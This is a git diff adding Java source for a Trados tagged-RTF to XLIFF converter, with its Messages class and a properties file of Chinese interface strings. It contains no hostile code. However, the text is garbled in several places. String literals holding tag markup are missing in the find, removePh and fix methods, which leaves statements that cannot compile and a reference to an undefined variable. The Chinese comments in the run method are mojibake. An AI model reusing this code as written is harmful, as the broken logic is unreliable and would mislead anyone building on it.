(n.getNodeType() == Node.TEXT_NODE) { + while (i + 1 < list.size() && (list.get(i + 1)).getNodeType() == Node.TEXT_NODE) { + n.setNodeValue(n.getNodeValue() + (list.get(i + 1)).getNodeValue()); + i++; + } + } + result.add(n); + } + return result; + } + + /** + * Equalize tags. + * @param source + * the source + * @param target + * the target + */ + private void equalizeTags(Element source, Element target) { + if (source.getChildren().get(0).equals(target.getChildren().get(0))) { + return; + } + target.getChildren().get(0).clone(source.getChildren().get(0), tdoc); + } + + /** + * Enumerate tags. + * @param e + * the e + */ + private void enumerateTags(Element e) { + List list = e.getChildren("ph"); //$NON-NLS-1$ + for (int i = 0; i < list.size(); i++) { + Element ph = list.get(i); + ph.setAttribute("id", "" + (i + 1)); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + + /** + * Removes the tags. + * @param target + * the target + */ + private void removeTags(Element target) { + List children = target.getChildren(); + Iterator it = children.iterator(); + while (it.hasNext()) { + target.removeChild(it.next()); + } + } + + /** + * Count tags. + * @param e + * the e + * @return the int + */ + private int countTags(Element e) { + return e.getChildren().size(); + } + + /** + * Fix. + * @param src + * the src + * @param token + * the token + * @return the element + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private Element fix(Element src, String token) throws SAXException, IOException { + String text = src.toString(); + int index = find(text, token, 0); + if (index == -1) { + return src; + } + String first = text.substring(0, index); + String last = text.substring(index); + while (last.indexOf(token) == -1) { + index = last.indexOf(""); //$NON-NLS-1$ + last = last.substring(0, index) + last.substring(end + 5); + } + ByteArrayInputStream stream = new ByteArrayInputStream((first + last).getBytes("UTF-8")); //$NON-NLS-1$ + SAXBuilder b = new SAXBuilder(); + Document d = b.build(stream); + return d.getRootElement(); + } + + /** + * Trim tags. + * @param e + * the e + */ + private void trimTags(Element e) { + List original = e.getContent(); + List trimmed = new ArrayList(); + // skip initial tags + Iterator i = original.iterator(); + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() != Node.ELEMENT_NODE && !n.getNodeValue().equals("")) { //$NON-NLS-1$ + trimmed.add(n); + break; + } + if (n.getNodeType() == Node.ELEMENT_NODE) { + Element h = new Element(n); + if (e.getName().equals("source")) { //$NON-NLS-1$ + sourceStart = sourceStart + h.toString(); + } else { + targetStart = targetStart + h.toString(); + } + } else { + if (e.getName().equals("source")) { //$NON-NLS-1$ + sourceStart = sourceStart + TextUtil.cleanString(n.getNodeValue()); + } else { + targetStart = targetStart + TextUtil.cleanString(n.getNodeValue()); + } + } + } + while (i.hasNext()) { + Node n = i.next(); + if (n.getNodeType() == Node.TEXT_NODE && n.getNodeValue().equals("")) { //$NON-NLS-1$ + continue; + } + trimmed.add(n); + } + while (trimmed.size() > 0) { + Node n = trimmed.get(trimmed.size() - 1); + if (n.getNodeType() == Node.ELEMENT_NODE) { + Element h = new Element(n); + if (e.getName().equals("source")) { //$NON-NLS-1$ + sourceEnd = h.toString() + sourceEnd; + } else { + targetEnd = h.toString() + targetEnd; + } + trimmed.remove(n); + } + if (n.getNodeType() == Node.TEXT_NODE) { + int idx = n.getNodeValue().indexOf("<0}"); //$NON-NLS-1$ + if (idx == -1) { + break; + } + if (e.getName().equals("source")) { //$NON-NLS-1$ + sourceEnd = n.getNodeValue().substring(idx) + sourceEnd; + } else { + targetEnd = n.getNodeValue().substring(idx) + targetEnd; + } + n.setNodeValue(n.getNodeValue().substring(0, idx)); + } + } + + e.setContent(trimmed); + } + + /** + * Copy attributes. + * @param src + * the src + * @param tgt + * the tgt + */ + private void copyAttributes(Element src, Element tgt) { + List attributes = src.getAttributes(); + for (int i = 0; i < attributes.size(); i++) { + Attribute a = attributes.get(i); + tgt.setAttribute(a.getName(), a.getValue()); + } + attributes = null; + } + } + + /** + * Find. + * @param text + * the text + * @param token + * the token + * @param from + * the from + * @return the int + */ + public static int find(String text, String token, int from) { + int length = text.length(); + for (int i = from; i < length; i++) { + String remaining = text.substring(i); + if (remaining.startsWith(""); //$NON-NLS-1$ + if (ends != -1) { + remaining = remaining.substring(ends + 5); + i = i + ends + 5; + } + } + String trimmed = removePh(remaining); + if (trimmed.startsWith(token)) { + return i; + } + } + return -1; + } + + /** + * Removes the ph. + * @param string + * the string + * @return the string + */ + private static String removePh(String string) { + String result = ""; //$NON-NLS-1$ + int starts = string.indexOf(""); //$NON-NLS-1$ + if (ends != -1) { + string = string.substring(ends + 5); + } + starts = string.indexOf(" convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2TaggedRtfImpl converter = new Xliff2TaggedRtfImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2TaggedRtfImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2TaggedRtfImpl { + + /** The skeleton. */ + private String skeleton; + + /** The xliff. */ + private String xliff; + + /** The skl doc. */ + private Document sklDoc; + + /** The skl root. */ + private Element sklRoot; + + /** The segments. */ + private Hashtable segments; + + /** The tw4win mark. */ + private String tw4winMark; + + /** The source start. */ + private Element sourceStart; + + /** The source end. */ + private Element sourceEnd; + + /** The target start. */ + private Element targetStart; + + /** The target end. */ + private Element targetEnd; + + /** The tags. */ + private String tags; + + /** The close. */ + private String close; + + /** + * Run. + * @param params + * the params + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map params, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºå››å¤§éƒ¨åˆ†å…± 10 ä¸ªä»»åŠ¡ï¼Œå…¶ä¸­åŠ è½½æ–‡ä»¶å  2,文件处ç†å  2,é‡å†™ xml æ–‡ä»¶å  2,委派其它转æ¢å™¨è¿›è¡Œè½¬æ¢å  4。 + monitor.beginTask("", 10); + monitor.subTask(Messages.getString("taggedrtf.Xliff2TaggedRtf.task2")); + infoLogger.startLoadingXliffFile(); + xliff = params.get(Converter.ATTR_XLIFF_FILE); + skeleton = params.get(Converter.ATTR_SKELETON_FILE); + + infoLogger.logConversionFileInfo(null, null, xliff, skeleton); + + loadFiles(); + infoLogger.endLoadingXliffFile(); + monitor.worked(2); + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.subTask(Messages.getString("taggedrtf.Xliff2TaggedRtf.task3")); + long startTime = 0; + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("taggedrtf.Xliff2TaggedRtf.logger1"), startTime); + } + processFiles(); + long endTime = 0; + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("taggedrtf.Xliff2TaggedRtf.logger2"), endTime); + LOGGER.info(Messages.getString("taggedrtf.Xliff2TaggedRtf.logger3"), endTime - startTime); + } + monitor.worked(2); + + // 是å¦å–消æ“作 + if (monitor.isCanceled()) { + throw new OperationCanceledException(); + } + monitor.subTask(Messages.getString("taggedrtf.Xliff2TaggedRtf.task4")); + if (LOGGER.isInfoEnabled()) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("taggedrtf.Xliff2TaggedRtf.logger4"), startTime); + } + File nskl = new File(skeleton + ".xlf"); + FileOutputStream output = new FileOutputStream(nskl.getAbsolutePath()); + XMLOutputter outputter = new XMLOutputter(); + outputter.preserveSpace(true); + outputter.output(sklDoc, output); + output.close(); + if (LOGGER.isInfoEnabled()) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("taggedrtf.Xliff2TaggedRtf.logger5"), endTime); + LOGGER.info(Messages.getString("taggedrtf.Xliff2TaggedRtf.logger6"), endTime - startTime); + } + monitor.worked(2); + params.put(Converter.ATTR_XLIFF_FILE, nskl.getAbsolutePath()); + params.put(Converter.ATTR_SKELETON_FILE, getSkeleton()); + // 委派其它转æ¢å™¨è¿›è¡Œè½¬æ¢ + result = dependantConverter.convert(params, Progress.getSubMonitor(monitor, 4)); + nskl.delete(); + } catch (OperationCanceledException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + if (e instanceof ConverterException) { + throw (ConverterException)e; + } else { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("taggedrtf.Xliff2TaggedRtf.msg1"), e); + } + } finally { + monitor.done(); + } + infoLogger.endConversion(); + return result; + } + + /** + * Gets the skeleton. + * @return the skeleton + */ + private String getSkeleton() { + String result = ""; //$NON-NLS-1$ + Element file = sklRoot.getChild("file"); //$NON-NLS-1$ + if (file != null) { + Element header = file.getChild("header"); //$NON-NLS-1$ + if (header != null) { + Element mskl = header.getChild("skl"); //$NON-NLS-1$ + if (mskl != null) { + Element external = mskl.getChild("external-file"); //$NON-NLS-1$ + if (external != null) { + result = external.getAttributeValue("href"); //$NON-NLS-1$ + } + } + } + } + return result; + } + + /** + * Process files. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void processFiles() throws SAXException, IOException { + Element body = sklRoot.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + while (i.hasNext()) { + Element unit = i.next(); + Element segment = segments.get(unit.getAttributeValue("id")); //$NON-NLS-1$ + if (segment.getAttributeValue("approved", "no").equalsIgnoreCase("yes")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + buildTarget(unit, segment); + unit.setAttribute("approved", "yes"); //$NON-NLS-1$ //$NON-NLS-2$ + } + } + } + + /** + * Builds the target. + * @param original + * the original + * @param translated + * the translated + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void buildTarget(Element original, Element translated) throws SAXException, IOException { + Element source = original.getChild("source"); //$NON-NLS-1$ + Element target = original.getChild("target"); //$NON-NLS-1$ + if (target == null) { + target = new Element("target", sklDoc); //$NON-NLS-1$ + original.addContent(target); + } + int phId = 1000; + if (TaggedRtf2Xliff.find(source.toString(), "{0>", 0) != -1) { //$NON-NLS-1$ + // this segment was already formatted by Trados + buildMissingTags(translated); + + List content = sourceStart.getContent(); + Iterator it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + Element open = new Element("ph", sklDoc); //$NON-NLS-1$ + open.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + open.setText("\\v "); //$NON-NLS-1$ + } else { + open.setText("\\v"); //$NON-NLS-1$ + } + target.addContent(open); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + target.addContent(tag); + } + } + + content = translated.getChild("source").getContent(); //$NON-NLS-1$ + it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + Element open = new Element("ph", sklDoc); //$NON-NLS-1$ + open.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + open.setText("\\v "); //$NON-NLS-1$ + } else { + open.setText("\\v"); //$NON-NLS-1$ + } + target.addContent(open); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + String s = tag.getText(); + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + tag.setText("\\v " + s); //$NON-NLS-1$ + } else { + tag.setText("\\v" + s); //$NON-NLS-1$ + } + target.addContent(tag); + } + } + content = sourceEnd.getContent(); + it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + Element open = new Element("ph", sklDoc); //$NON-NLS-1$ + open.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + open.setText("\\v "); //$NON-NLS-1$ + } else { + open.setText("\\v"); //$NON-NLS-1$ + } + target.addContent(open); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + target.addContent(tag); + } + } + + Element percent = new Element("ph", sklDoc); //$NON-NLS-1$ + percent.setText("\\v0{" + tw4winMark + " <\\}100\\{>}"); //$NON-NLS-1$ //$NON-NLS-2$ + target.addContent(percent); + percent.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + + content = targetStart.getContent(); + it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + Element open = new Element("ph", sklDoc); //$NON-NLS-1$ + open.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + open.setText("\\v0 "); //$NON-NLS-1$ + } else { + open.setText("\\v0"); //$NON-NLS-1$ + } + target.addContent(open); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + target.addContent(tag); + } + } + + content = translated.getChild("target").getContent(); //$NON-NLS-1$ + it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + target.addContent(tag); + } + } + + content = targetEnd.getContent(); + it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + target.addContent(n.getNodeValue()); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + target.addContent(tag); + } + } + + } else { + // It is necessary to add Trados formatting + // and hide source text + + Element start = new Element("ph", sklDoc); //$NON-NLS-1$ + start.setText("{" + tw4winMark + " \\{0>}"); //$NON-NLS-1$ //$NON-NLS-2$ + start.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + target.addContent(start); + + tags = ""; //$NON-NLS-1$ + + List content = source.getContent(); + Iterator it = content.iterator(); + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + Element open = new Element("ph", sklDoc); //$NON-NLS-1$ + open.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + if (s.matches("^[0-9a-zA-Z\\s]")) { //$NON-NLS-1$ + open.setText("\\v "); //$NON-NLS-1$ + } else { + open.setText("\\v"); //$NON-NLS-1$ + } + target.addContent(open); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + checkTags(e); + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + String s = tag.getText(); + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + tag.setText("\\v " + s); //$NON-NLS-1$ + } else { + tag.setText("\\v" + s); //$NON-NLS-1$ + } + target.addContent(tag); + } + } + + closeTags(); + + Element percent = new Element("ph", sklDoc); //$NON-NLS-1$ + percent.setText(close + "\\v0{" + tw4winMark + " <\\}100\\{>}"); //$NON-NLS-1$ //$NON-NLS-2$ + percent.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + target.addContent(percent); + + Element transTarget = translated.getChild("target"); //$NON-NLS-1$ + List transContent = transTarget.getContent(); + it = transContent.iterator(); + boolean skip = false; + while (it.hasNext()) { + Node n = it.next(); + if (n.getNodeType() == Node.TEXT_NODE) { + String s = n.getNodeValue(); + Element open = new Element("ph", sklDoc); //$NON-NLS-1$ + open.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + if (s.matches("^[0-9a-zA-Z\\s].*")) { //$NON-NLS-1$ + open.setText("\\v0 "); //$NON-NLS-1$ + } else { + open.setText("\\v0"); //$NON-NLS-1$ + } + target.addContent(open); + target.addContent(s); + } else if (n.getNodeType() == Node.ELEMENT_NODE) { + Element e = new Element(n); + if (e.toString().indexOf(tw4winMark) != -1) { + skip = true; + } else { + skip = false; + } + Element tag = new Element(e.getName(), sklDoc); + tag.clone(e, sklDoc); + target.addContent(tag); + } + } + if (!skip) { + Element last = new Element("ph", sklDoc); //$NON-NLS-1$ + last.setAttribute("id", "" + phId++); //$NON-NLS-1$ //$NON-NLS-2$ + last.setText("{" + tw4winMark + " <0\\}}"); //$NON-NLS-1$ //$NON-NLS-2$ + target.addContent(last); + } + + } + } + + /** + * Close tags. + */ + private void closeTags() { + StringTokenizer tk = new StringTokenizer(tags, "\\{}", true); //$NON-NLS-1$ + String result = ""; //$NON-NLS-1$ + int balance = 0; + while (tk.hasMoreTokens()) { + String token = tk.nextToken(); + if (token.equals("\\")) { //$NON-NLS-1$ + if (tk.hasMoreTokens()) { + token = token + tk.nextToken(); + } else { + // TODO check why this happens + System.out.println(tags); + } + } + if (token.equals("{")) { //$NON-NLS-1$ + balance++; + } else if (token.equals("}")) { //$NON-NLS-1$ + balance--; + } + if (token.equals("}")) { //$NON-NLS-1$ + int index = result.lastIndexOf("{"); //$NON-NLS-1$ + if (index != -1) { + result = result.substring(0, index + 1); + continue; + } + result = ""; //$NON-NLS-1$ + continue; + } + result = result + token; + } + close = ""; //$NON-NLS-1$ + if (result.indexOf("\\super") != -1 || result.indexOf("\\sub") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + close = close + "\\nosupersub"; //$NON-NLS-1$ + } + if (result.indexOf("\\b\\") != -1 || result.indexOf("\\b ") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + close = close + "\\b0"; //$NON-NLS-1$ + } + if (result.indexOf("\\i\\") != -1 || result.indexOf("\\i ") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + close = close + "\\i0"; //$NON-NLS-1$ + } + if (result.indexOf("\\ul\\") != -1 || result.indexOf("\\ul ") != -1) { //$NON-NLS-1$ //$NON-NLS-2$ + close = close + "\\ul0"; //$NON-NLS-1$ + } + if (result.indexOf("\\strike") != -1) { //$NON-NLS-1$ + close = close + "\\strike0"; //$NON-NLS-1$ + } + if (balance > 0) { + for (int i = 0; i < balance; i++) { + close = close + "}"; //$NON-NLS-1$ + } + } + if (balance < 0) { + balance = -1 * balance; + for (int i = 0; i < balance; i++) { + close = close + "{"; //$NON-NLS-1$ + } + } + } + + /** + * Check tags. + * @param e + * the e + */ + private void checkTags(Element e) { + tags = tags + e.getText(); + } + + /** + * Builds the missing tags. + * @param tu + * the tu + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + */ + private void buildMissingTags(Element tu) throws SAXException, IOException { + List groups = tu.getChildren("hs:prop-group"); //$NON-NLS-1$ + Iterator it = groups.iterator(); + while (it.hasNext()) { + Element group = it.next(); + if (group.getAttributeValue("name", "").equals("tags")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + List props = group.getChildren(); + Iterator j = props.iterator(); + while (j.hasNext()) { + Element prop = j.next(); + SAXBuilder builder = new SAXBuilder(); + String text = "\n" + prop.getText() + ""; //$NON-NLS-1$ //$NON-NLS-2$ + ByteArrayInputStream stream = new ByteArrayInputStream(text.getBytes("UTF-8")); //$NON-NLS-1$ + Document doc = builder.build(stream); + Element root = doc.getRootElement(); + if (prop.getAttributeValue("prop-type").equals("sourceStart")) { //$NON-NLS-1$ //$NON-NLS-2$ + sourceStart = new Element("tags", sklDoc); //$NON-NLS-1$ + sourceStart.clone(root, sklDoc); + } + if (prop.getAttributeValue("prop-type").equals("sourceEnd")) { //$NON-NLS-1$ //$NON-NLS-2$ + sourceEnd = new Element("tags", sklDoc); //$NON-NLS-1$ + sourceEnd.clone(root, sklDoc); + } + if (prop.getAttributeValue("prop-type").equals("targetStart")) { //$NON-NLS-1$ //$NON-NLS-2$ + targetStart = new Element("tags", sklDoc); //$NON-NLS-1$ + targetStart.clone(root, sklDoc); + } + if (prop.getAttributeValue("prop-type").equals("targetEnd")) { //$NON-NLS-1$ //$NON-NLS-2$ + targetEnd = new Element("tags", sklDoc); //$NON-NLS-1$ + targetEnd.clone(root, sklDoc); + } + } + } + } + + } + + /** + * Load files. + * @throws SAXException + * the SAX exception + * @throws IOException + * Signals that an I/O exception has occurred. + * @throws ConverterException + */ + private void loadFiles() throws ConverterException { + SAXBuilder builder = new SAXBuilder(); + try { + sklDoc = builder.build(skeleton); + } catch (Exception e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("taggedrtf.Xliff2TaggedRtf.msg2"), e); + } + sklRoot = sklDoc.getRootElement(); + + try { + Document xlfDoc = builder.build(xliff); + Element xlfRoot = xlfDoc.getRootElement(); + Element body = xlfRoot.getChild("file").getChild("body"); //$NON-NLS-1$ //$NON-NLS-2$ + List units = body.getChildren("trans-unit"); //$NON-NLS-1$ + Iterator i = units.iterator(); + segments = new Hashtable(); + while (i.hasNext()) { + Element unit = i.next(); + segments.put(unit.getAttributeValue("id"), unit); //$NON-NLS-1$ + } + + List properties = xlfRoot.getChild("file").getChild("header").getChildren("hs:prop-group"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + i = properties.iterator(); + while (i.hasNext()) { + Element group = i.next(); + if (group.getAttributeValue("name", "").equals("tags")) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + List taglist = group.getChildren("hs:prop"); //$NON-NLS-1$ + Iterator t = taglist.iterator(); + while (t.hasNext()) { + Element prop = t.next(); + if (prop.getAttributeValue("prop-type").equals("Mark")) { //$NON-NLS-1$ //$NON-NLS-2$ + tw4winMark = prop.getText(); + } + } + } + } + } catch (Exception e) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("taggedrtf.Xliff2TaggedRtf.msg3"), e); + } + } + } + +} diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/Messages.java new file mode 100644 index 0000000..4dfb6b4 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.taggedrtf.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * The Class Messages. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.taggedrtf.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message.properties b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message.properties new file mode 100644 index 0000000..86bcd1a --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.taggedrtf/src/net/heartsome/cat/converter/taggedrtf/resource/message.properties @@ -0,0 +1,26 @@ +taggedrtf.TaggedRtf2Xliff.msg1 = Trados \u53cc\u8bed RTF \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#taggedrtf.TaggedRtf2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +taggedrtf.TaggedRtf2Xliff.task2 = \u6b63\u5728\u5904\u7406... +taggedrtf.TaggedRtf2Xliff.task3 = \u6b63\u5728\u5904\u7406\u6bcf\u4e2a\u7ffb\u8bd1\u5355\u5143\u4e2d\u7684\u5185\u5bb9... +taggedrtf.TaggedRtf2Xliff.task4 = \u6b63\u5728\u751f\u6210\u9aa8\u67b6\u6587\u4ef6... +taggedrtf.TaggedRtf2Xliff.task5 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... + +taggedrtf.Xliff2TaggedRtf.msg1 = XLIFF \u8f6c\u6362 Trados \u53cc\u8bed RTF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +#taggedrtf.Xliff2TaggedRtf.task1 = \u6b63\u5728\u8f6c\u6362... +taggedrtf.Xliff2TaggedRtf.task2 = \u6b63\u5728\u52a0\u8f7d\u6587\u4ef6... +taggedrtf.Xliff2TaggedRtf.task3 = \u6b63\u5728\u5904\u7406\u6587\u672c\u6bb5\u5185\u5bb9... +taggedrtf.Xliff2TaggedRtf.task4 = \u6b63\u5728\u751f\u6210\u4e34\u65f6\u4e2d\u95f4\u6587\u4ef6.... +taggedrtf.Xliff2TaggedRtf.logger1 = [LOG] \u5f00\u59cb\u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u7684\u5185\u5bb9\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger2 = [LOG] \u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u5185\u5bb9\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger3 = [LOG] \u5904\u7406\u5404\u4e2a\u6587\u672c\u6bb5\u5171\u7528\u65f6\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger4 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger5 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +taggedrtf.Xliff2TaggedRtf.logger6 = [LOG] \u751f\u6210\u4e2d\u95f4\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +taggedrtf.TYPE_NAME_VALUE = SDL Trados \u53cc\u8bed RTF \u6587\u4ef6 (RTF) + +########################## 2012-11-01 \u6dfb\u52a0 ########################################### +taggedrtf.Xliff2TaggedRtf.msg2 = \u89e3\u6790\u9aa8\u67b6\u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8be5\u9aa8\u67b6\u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF \u6587\u4ef6\u518d\u6b21\u91cd\u8bd5\u6b64\u6b21\u8f6c\u6362\u3002 +taggedrtf.Xliff2TaggedRtf.msg3 = \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef\uff0c\u8be5 XLIFF \u6587\u4ef6\u53ef\u80fd\u5df2\u7ecf\u53d7\u635f\uff0c\u8bf7\u5c1d\u8bd5\u6309\u5982\u4e0b\u6b65\u9aa4\u4fee\u590d\uff1a\n1. \u5c06\u8be5 XLIFF \u6587\u4ef6\u4e2d\u7684\u6240\u6709\u6587\u672c\u6bb5\u5165\u5e93\uff1b\n2. \u5907\u4efd\u8be5 XLIFF \u6587\u4ef6\uff08\u76f4\u63a5\u590d\u5236 XLIFF \u6587\u4ef6\u5939\u6216\u5bfc\u51fa\u6574\u4e2a\u9879\u76ee\uff09\uff1b\n3. \u91cd\u65b0\u8f6c\u6362\u6e90\u6587\u4ef6\u4e3a XLIFF\u3001\u5e76\u9884\u7ffb\u8bd1\uff1b\n4. \u7528\u4e0a\u4e00\u6b65\u5f97\u5230\u7684 XLIFF 